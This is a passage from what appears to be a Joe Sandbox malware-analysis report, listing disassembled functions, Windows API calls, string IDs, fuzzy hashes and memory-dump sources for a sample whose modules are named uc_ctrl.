                                                                                                • Part of subcall function 6CEE632C: __EH_prolog3.LIBCMT ref: 6CEE6333
                                                                                                • Part of subcall function 6CEE632C: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000014,?,6CEE620D,?,00000003,00000010,6CEE5F84,?,?,?,?,6CEE604E,?,?,00000000,?), ref: 6CEE633E
                                                                                                • Part of subcall function 6CEE632C: ??Bid@locale@std@@QAEIXZ.MSVCP140(?,6CEE620D,?,00000003,00000010,6CEE5F84,?,?,?,?,6CEE604E,?,?,00000000,?), ref: 6CEE6356
                                                                                                • Part of subcall function 6CEE632C: ??1_Lockit@std@@QAE@XZ.MSVCP140(00000000,?,6CEE620D,?,00000003,00000010,6CEE5F84,?,?,?,?,6CEE604E,?,?,00000000,?), ref: 6CEE63BA
                                                                                              • std::locale::~locale.LIBCPMT ref: 6CEFB96A
                                                                                              Strings
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4149599826.000000006CED1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6CED0000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4149575919.000000006CED0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149669520.000000006CF32000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF35000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF38000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6ced0000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: ??1_?getloc@ios_base@std@@Bid@locale@std@@H_prolog3H_prolog3_Lockit@std@@Vlocale@2@_lock_localesstd::locale::localestd::locale::~locale
                                                                                              • String ID: 0123456789-
                                                                                              • API String ID: 601694680-3850129594
                                                                                              • Opcode ID: 32df8c4da168780572a3bf54959c659fe877c58fa00d425cc0d869bcf1ac73dc
                                                                                              • Instruction ID: 86a2ec3907fb442982323e6ece1cb394f71988305bb8537e8e0b1b062af74430
                                                                                              • Opcode Fuzzy Hash: 32df8c4da168780572a3bf54959c659fe877c58fa00d425cc0d869bcf1ac73dc
                                                                                              • Instruction Fuzzy Hash: 5641A031E052199FCF05DFA8C890BEEBB76AF49308F349458E461AB751CB359A07CB52
                                                                                              Function 6CEEFD40 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 108COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • __EH_prolog3_GS.LIBCMT ref: 6CEEFD47
                                                                                              • ?getloc@ios_base@std@@QBE?AVlocale@2@XZ.MSVCP140(?,00000048), ref: 6CEEFD61
                                                                                                • Part of subcall function 6CEE44C0: std::locale::locale.LIBCPMT ref: 6CEE44C9
                                                                                                • Part of subcall function 6CEED96D: __EH_prolog3.LIBCMT ref: 6CEED974
                                                                                                • Part of subcall function 6CEED96D: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000014,6CEEEA4F,00000010,6CEE80EC,?,?,?,00000000,?,?,?,00000000,?,?,?,00000000), ref: 6CEED97F
                                                                                                • Part of subcall function 6CEED96D: ??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,00000004), ref: 6CEED997
                                                                                                • Part of subcall function 6CEED96D: ??1_Lockit@std@@QAE@XZ.MSVCP140(00000000,?,?,?,00000004), ref: 6CEED9FB
                                                                                              • std::locale::~locale.LIBCPMT ref: 6CEEFD7A
                                                                                              Strings
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4149599826.000000006CED1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6CED0000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4149575919.000000006CED0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149669520.000000006CF32000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF35000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF38000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6ced0000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: ??1_?getloc@ios_base@std@@Bid@locale@std@@H_prolog3H_prolog3_Lockit@std@@Vlocale@2@_lock_localesstd::locale::localestd::locale::~locale
                                                                                              • String ID: 0123456789-
                                                                                              • API String ID: 601694680-3850129594
                                                                                              • Opcode ID: f65b8217623487761a6757d1c6f0dbe45442e21d51e63e6a06b85c07df6a0f51
                                                                                              • Instruction ID: 7a3fecc3f2a2a1a5da1e542f888cdf28011f18b8b73a8a365dc6d4309d9aeb25
                                                                                              • Opcode Fuzzy Hash: f65b8217623487761a6757d1c6f0dbe45442e21d51e63e6a06b85c07df6a0f51
                                                                                              • Instruction Fuzzy Hash: 7841A232A00208DBCF11DFA8D890BDDBBB1FF49358F200559E811AB655DB349A5BCB52
                                                                                              Function 6CFA4FEE Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 59COMMON
                                                                                              Download Yara Rule
                                                                                              Strings
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4150030464.000000006CF61000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CF60000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4150002088.000000006CF60000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150269205.000000006D0F3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150379053.000000006D1C2000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150405212.000000006D1C4000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C7000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C9000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150701326.000000006D1D0000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150752180.000000006D1E3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150799167.000000006D200000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6cf60000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID:
                                                                                              • String ID: Edit
                                                                                              • API String ID: 0-554135844
                                                                                              • Opcode ID: 6734ac3f6d8e8c65a6e8f3259b7da77154feb11a445ee7be4b7d87d50d2ce8e6
                                                                                              • Instruction ID: dcfa8435ab1c0386abe99a268095f2a5e8516418595cb1178647f74e4136011e
                                                                                              • Opcode Fuzzy Hash: 6734ac3f6d8e8c65a6e8f3259b7da77154feb11a445ee7be4b7d87d50d2ce8e6
                                                                                              • Instruction Fuzzy Hash: 75118231745A03EEFE301AB7CC05FA6B6A8AB46399F20C529E593D5DA0CB61E402C691
                                                                                              Function 00101000 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 57COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • ??0CDuiString@UiLib@@QAE@PB_WH@Z.UC_GUILIB(click,000000FF,097E771E), ref: 00101038
                                                                                              • ??0CDuiString@UiLib@@QAE@PB_WH@Z.UC_GUILIB(0010A9B4,000000FF), ref: 0010104D
                                                                                              • ??0CDuiString@UiLib@@QAE@PB_WH@Z.UC_GUILIB(0010A9B4,000000FF,?,?,?,?,?,00109340,000000FF), ref: 00101093
                                                                                              • ??0CDuiString@UiLib@@QAE@PB_WH@Z.UC_GUILIB(0010A9B4,000000FF,?,?,?,?,?,00109340,000000FF), ref: 001010A5
                                                                                                • Part of subcall function 001083C4: __onexit.LIBCMT ref: 001083CA
                                                                                              Strings
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4145483060.0000000000101000.00000020.00000001.01000000.00000009.sdmp, Offset: 00100000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4145286846.0000000000100000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4145589452.000000000010A000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4145716784.0000000000111000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4145903612.0000000000112000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_100000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: Lib@@String@$__onexit
                                                                                              • String ID: click
                                                                                              • API String ID: 2284767783-3136733728
                                                                                              • Opcode ID: 6c3b53799655b35ecee0916c74bf4e6b360e3b04beed49d1e04f105d9cd3bcc1
                                                                                              • Instruction ID: 552235cc0486b45bf9337a10712000fc45bbd42de27a46eb35e1f4131bfaac1d
                                                                                              • Opcode Fuzzy Hash: 6c3b53799655b35ecee0916c74bf4e6b360e3b04beed49d1e04f105d9cd3bcc1
                                                                                              • Instruction Fuzzy Hash: 71214F70D08299AADB04CF98DE157EEBBB4EB05338F108319E574277D1DBB516848BC1
                                                                                              Function 6CEE6AE0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 53fileCOMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • memset.VCRUNTIME140(?,00000000,00000034), ref: 6CEE6AFE
                                                                                              • CreateFileW.KERNEL32(?,00000080,00000007,00000000,00000003,00000000,00000000), ref: 6CEE6B13
                                                                                              • GetFileInformationByHandle.KERNEL32(00000000,?), ref: 6CEE6B29
                                                                                              • CloseHandle.KERNEL32(?), ref: 6CEE6B37
                                                                                              Strings
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4149599826.000000006CED1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6CED0000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4149575919.000000006CED0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149669520.000000006CF32000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF35000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF38000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6ced0000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: FileHandle$CloseCreateInformationmemset
                                                                                              • String ID: Cw}3/
                                                                                              • API String ID: 2456596185-738913995
                                                                                              • Opcode ID: 8adce33412813abfe8feb70ca134e7043254724d09246e663a026c8b8a77b379
                                                                                              • Instruction ID: 08a5cc5ddf3e01335f374e0e4ed5d20fd4143c7dbf28454172c4139220ea1131
                                                                                              • Opcode Fuzzy Hash: 8adce33412813abfe8feb70ca134e7043254724d09246e663a026c8b8a77b379
                                                                                              • Instruction Fuzzy Hash: BF01D472F11118B7DB206AA6DC09F9FBBBDEBC6B10F104119F915E7280EA359905C7E0
                                                                                              Function 6CF9E33D Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 50libraryfileloaderCOMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • GetModuleHandleW.KERNEL32(kernel32.dll), ref: 6CF9E350
                                                                                              • GetProcAddress.KERNEL32(00000000,CreateFileTransactedW), ref: 6CF9E360
                                                                                              • CreateFileW.KERNEL32(?,?,?,?,?,?,00000000), ref: 6CF9E3A8
                                                                                              Strings
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4150030464.000000006CF61000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CF60000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4150002088.000000006CF60000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150269205.000000006D0F3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150379053.000000006D1C2000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150405212.000000006D1C4000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C7000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C9000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150701326.000000006D1D0000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150752180.000000006D1E3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150799167.000000006D200000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6cf60000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: AddressCreateFileHandleModuleProc
                                                                                              • String ID: CreateFileTransactedW$kernel32.dll
                                                                                              • API String ID: 2580138172-2053874626
                                                                                              • Opcode ID: 4c5d798eabdbd067b31b516540adb29c7ca674dbe3b525f7a0ef80d8ee967db6
                                                                                              • Instruction ID: 4a65349cb93b1a933e1fc9b664390c069fc2262dd148224172fd1c5d8f78d162
                                                                                              • Opcode Fuzzy Hash: 4c5d798eabdbd067b31b516540adb29c7ca674dbe3b525f7a0ef80d8ee967db6
                                                                                              • Instruction Fuzzy Hash: D5010C3610010AFFAF025F94DC44EAA3F7AFB493647244529FEA5515A0C772C861EFA1
                                                                                              Function 6CEDA8F0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 50sleepCOMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • _xtime_get.LIBCPMT(?,00000001), ref: 6CEDA90F
                                                                                                • Part of subcall function 6CEDADD0: __Xtime_get_ticks.LIBCPMT(?,?,?,?,?,?,6CEDA914,?,00000001), ref: 6CEDADE7
                                                                                                • Part of subcall function 6CEDADD0: __aulldvrm.LIBCMT ref: 6CEDADF6
                                                                                              • _Xtime_diff_to_millis2.MSVCP140(?,?), ref: 6CEDA91C
                                                                                              • Sleep.KERNEL32(00000000), ref: 6CEDA924
                                                                                              • _xtime_get.LIBCPMT(?,00000001), ref: 6CEDA931
                                                                                              Strings
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4149599826.000000006CED1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6CED0000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4149575919.000000006CED0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149669520.000000006CF32000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF35000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF38000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6ced0000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: _xtime_get$SleepXtime_diff_to_millis2Xtime_get_ticks__aulldvrm
                                                                                              • String ID: Cw}3/
                                                                                              • API String ID: 3804602159-738913995
                                                                                              • Opcode ID: 1f45501cbb4ba7377e0d346c1523ca9d77b921f5e476351f04a63ba09045a40e
                                                                                              • Instruction ID: 64c635b1e3a4ecbc4f7d38a0c3984a3584a15c23ab99fd8d35e17cc824392144
                                                                                              • Opcode Fuzzy Hash: 1f45501cbb4ba7377e0d346c1523ca9d77b921f5e476351f04a63ba09045a40e
                                                                                              • Instruction Fuzzy Hash: E80196325483069FDB14DF54D48199BB3F9EF44328F22891EF49987980EB30F685C796
                                                                                              Function 6CFA3E9C Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 47COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • __EH_prolog3.LIBCMT ref: 6CFA3EA3
                                                                                              • GetClassNameW.USER32(?,00000000,00000400), ref: 6CFA3EDA
                                                                                              • GetWindowLongW.USER32(?,000000F0), ref: 6CFA3F10
                                                                                              Strings
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4150030464.000000006CF61000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CF60000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4150002088.000000006CF60000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150269205.000000006D0F3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150379053.000000006D1C2000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150405212.000000006D1C4000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C7000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C9000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150701326.000000006D1D0000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150752180.000000006D1E3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150799167.000000006D200000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6cf60000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: ClassH_prolog3LongNameWindow
                                                                                              • String ID: ComboBox$ComboBoxEx32
                                                                                              • API String ID: 297531199-1907415764
                                                                                              • Opcode ID: 461c958c43a60d0371ff8cbd31b5f146951445159b123f5720bb716ef525af81
                                                                                              • Instruction ID: 5137ba79e317e473664afa9c2d82e06977ac13915732f5f2bab1efec3c4c77f5
                                                                                              • Opcode Fuzzy Hash: 461c958c43a60d0371ff8cbd31b5f146951445159b123f5720bb716ef525af81
                                                                                              • Instruction Fuzzy Hash: B1016D71811116EBEF14DB90CD54BEEB374BF1935CF600918D922A7AD0EB71A80ACB51
                                                                                              Function 6CF931C8 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 45libraryloaderCOMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • GetModuleHandleW.KERNEL32(Advapi32.dll), ref: 6CF931F0
                                                                                              • GetProcAddress.KERNEL32(00000000,RegDeleteKeyExW), ref: 6CF93200
                                                                                                • Part of subcall function 6CF8D8BC: GetModuleHandleW.KERNEL32(Advapi32.dll,00000000,00000010,?,?,6CF8D7AF,?,00000010), ref: 6CF8D8CF
                                                                                                • Part of subcall function 6CF8D8BC: GetProcAddress.KERNEL32(00000000,RegDeleteKeyTransactedW), ref: 6CF8D8DF
                                                                                              Strings
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4150030464.000000006CF61000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CF60000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4150002088.000000006CF60000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150269205.000000006D0F3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150379053.000000006D1C2000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150405212.000000006D1C4000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C7000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C9000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150701326.000000006D1D0000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150752180.000000006D1E3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150799167.000000006D200000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6cf60000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: AddressHandleModuleProc
                                                                                              • String ID: Advapi32.dll$RegDeleteKeyExW
                                                                                              • API String ID: 1646373207-2191092095
                                                                                              • Opcode ID: c5c784ece03db5dc475b21927f9c7d0748a53d3a23ca479dbd8e2af03c5e8c84
                                                                                              • Instruction ID: 2d986ca228646df8e707e4ccc8fbffdc32056fc7bd7487413a40272fd98feedf
                                                                                              • Opcode Fuzzy Hash: c5c784ece03db5dc475b21927f9c7d0748a53d3a23ca479dbd8e2af03c5e8c84
                                                                                              • Instruction Fuzzy Hash: 5701F73A945005FBFF118F55EC04B89BF75AB0A710B114027FC0C93610CBF29425DB92
                                                                                              Function 00108100 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 43COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • _callnewh.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00101727,00000000), ref: 00108108
                                                                                              • malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00101727,00000000), ref: 00108115
                                                                                              • _CxxThrowException.VCRUNTIME140(?,0010C4A4), ref: 00108C95
                                                                                              • _CxxThrowException.VCRUNTIME140(?,0010C4F8), ref: 00108CB2
                                                                                              Strings
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4145483060.0000000000101000.00000020.00000001.01000000.00000009.sdmp, Offset: 00100000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4145286846.0000000000100000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4145589452.000000000010A000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4145716784.0000000000111000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4145903612.0000000000112000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_100000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: ExceptionThrow$_callnewhmalloc
                                                                                              • String ID: Unknown exception
                                                                                              • API String ID: 4113974480-410509341
                                                                                              • Opcode ID: fb300284b983efc71656151d550fc30bc2aec6e29979cd9a9c2514ffde6a2848
                                                                                              • Instruction ID: 9d5e8f89e4327cda8fab7e98f520bfbfd7b4d17cec4913c881662a3a3a46ea27
                                                                                              • Opcode Fuzzy Hash: fb300284b983efc71656151d550fc30bc2aec6e29979cd9a9c2514ffde6a2848
                                                                                              • Instruction Fuzzy Hash: 1CF06238A0820D7ACF04F6A8ED668AD776C6E10710B508664F9D4A50D3EFF4DA5689D0
                                                                                              Function 6D0D2758 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 38libraryloaderCOMMONLIBRARYCODE
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,?,?,?,6D0D2709,?,?,6D0D26A9,?,6D1916A0,0000000C,6D0D27DC,00000000,00000000), ref: 6D0D2778
                                                                                              • GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 6D0D278B
                                                                                              • FreeLibrary.KERNEL32(00000000,?,?,?,6D0D2709,?,?,6D0D26A9,?,6D1916A0,0000000C,6D0D27DC,00000000,00000000,00000001,6D0C19F9), ref: 6D0D27AE
                                                                                              Strings
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4150030464.000000006CF61000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CF60000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4150002088.000000006CF60000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150269205.000000006D0F3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150379053.000000006D1C2000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150405212.000000006D1C4000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C7000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C9000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150701326.000000006D1D0000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150752180.000000006D1E3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150799167.000000006D200000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6cf60000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: AddressFreeHandleLibraryModuleProc
                                                                                              • String ID: CorExitProcess$mscoree.dll
                                                                                              • API String ID: 4061214504-1276376045
                                                                                              • Opcode ID: 699cc541cb9ff9733f88fdad3ae04219c2410cc31908f9923d10c465df16c323
                                                                                              • Instruction ID: b4752d8034686ecb0174376703574908f6a32300c331f69470c64ed69e94373c
                                                                                              • Opcode Fuzzy Hash: 699cc541cb9ff9733f88fdad3ae04219c2410cc31908f9923d10c465df16c323
                                                                                              • Instruction Fuzzy Hash: 98F04F31A11209FBEF259FA0DC49BADBFB9EF09725F100069FC09A2150DB758980CA91
                                                                                              Function 6CF9172A Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 37libraryloaderCOMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • DecodePointer.KERNEL32(00000000), ref: 6CF91763
                                                                                                • Part of subcall function 6CF90D03: GetModuleHandleW.KERNEL32(kernel32.dll), ref: 6CF90D29
                                                                                                • Part of subcall function 6CF90D03: GetProcAddress.KERNEL32(00000000,SetDefaultDllDirectories), ref: 6CF90D39
                                                                                                • Part of subcall function 6CF90D03: EncodePointer.KERNEL32(00000000), ref: 6CF90D42
                                                                                                • Part of subcall function 6CF90D03: LoadLibraryExW.KERNEL32(?,00000000,00000800), ref: 6CF90D64
                                                                                              • GetProcAddress.KERNEL32(00000000,DwmDefWindowProc), ref: 6CF9174C
                                                                                              • EncodePointer.KERNEL32(00000000), ref: 6CF91755
                                                                                              Strings
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4150030464.000000006CF61000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CF60000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4150002088.000000006CF60000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150269205.000000006D0F3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150379053.000000006D1C2000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150405212.000000006D1C4000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C7000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C9000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150701326.000000006D1D0000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150752180.000000006D1E3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150799167.000000006D200000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6cf60000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: Pointer$AddressEncodeProc$DecodeHandleLibraryLoadModule
                                                                                              • String ID: DwmDefWindowProc$dwmapi.dll
                                                                                              • API String ID: 2269242174-234806475
                                                                                              • Opcode ID: ff3c6772ecba12b8d3bc42cf5c58df3e854598a8d9064185c63d9815a46f9348
                                                                                              • Instruction ID: 52e56cec71a9b718baca0b1cb74ca67f7ac428ef4dc28baa65642985be5288fe
                                                                                              • Opcode Fuzzy Hash: ff3c6772ecba12b8d3bc42cf5c58df3e854598a8d9064185c63d9815a46f9348
                                                                                              • Instruction Fuzzy Hash: CDF09036901216ABAF059FA4AC48A6A3E7D9B096A47108021FD1492650DB70D8118EE2
                                                                                              Function 6CF91847 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 36libraryloaderCOMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • DecodePointer.KERNEL32(00000000), ref: 6CF91880
                                                                                                • Part of subcall function 6CF90D03: GetModuleHandleW.KERNEL32(kernel32.dll), ref: 6CF90D29
                                                                                                • Part of subcall function 6CF90D03: GetProcAddress.KERNEL32(00000000,SetDefaultDllDirectories), ref: 6CF90D39
                                                                                                • Part of subcall function 6CF90D03: EncodePointer.KERNEL32(00000000), ref: 6CF90D42
                                                                                                • Part of subcall function 6CF90D03: LoadLibraryExW.KERNEL32(?,00000000,00000800), ref: 6CF90D64
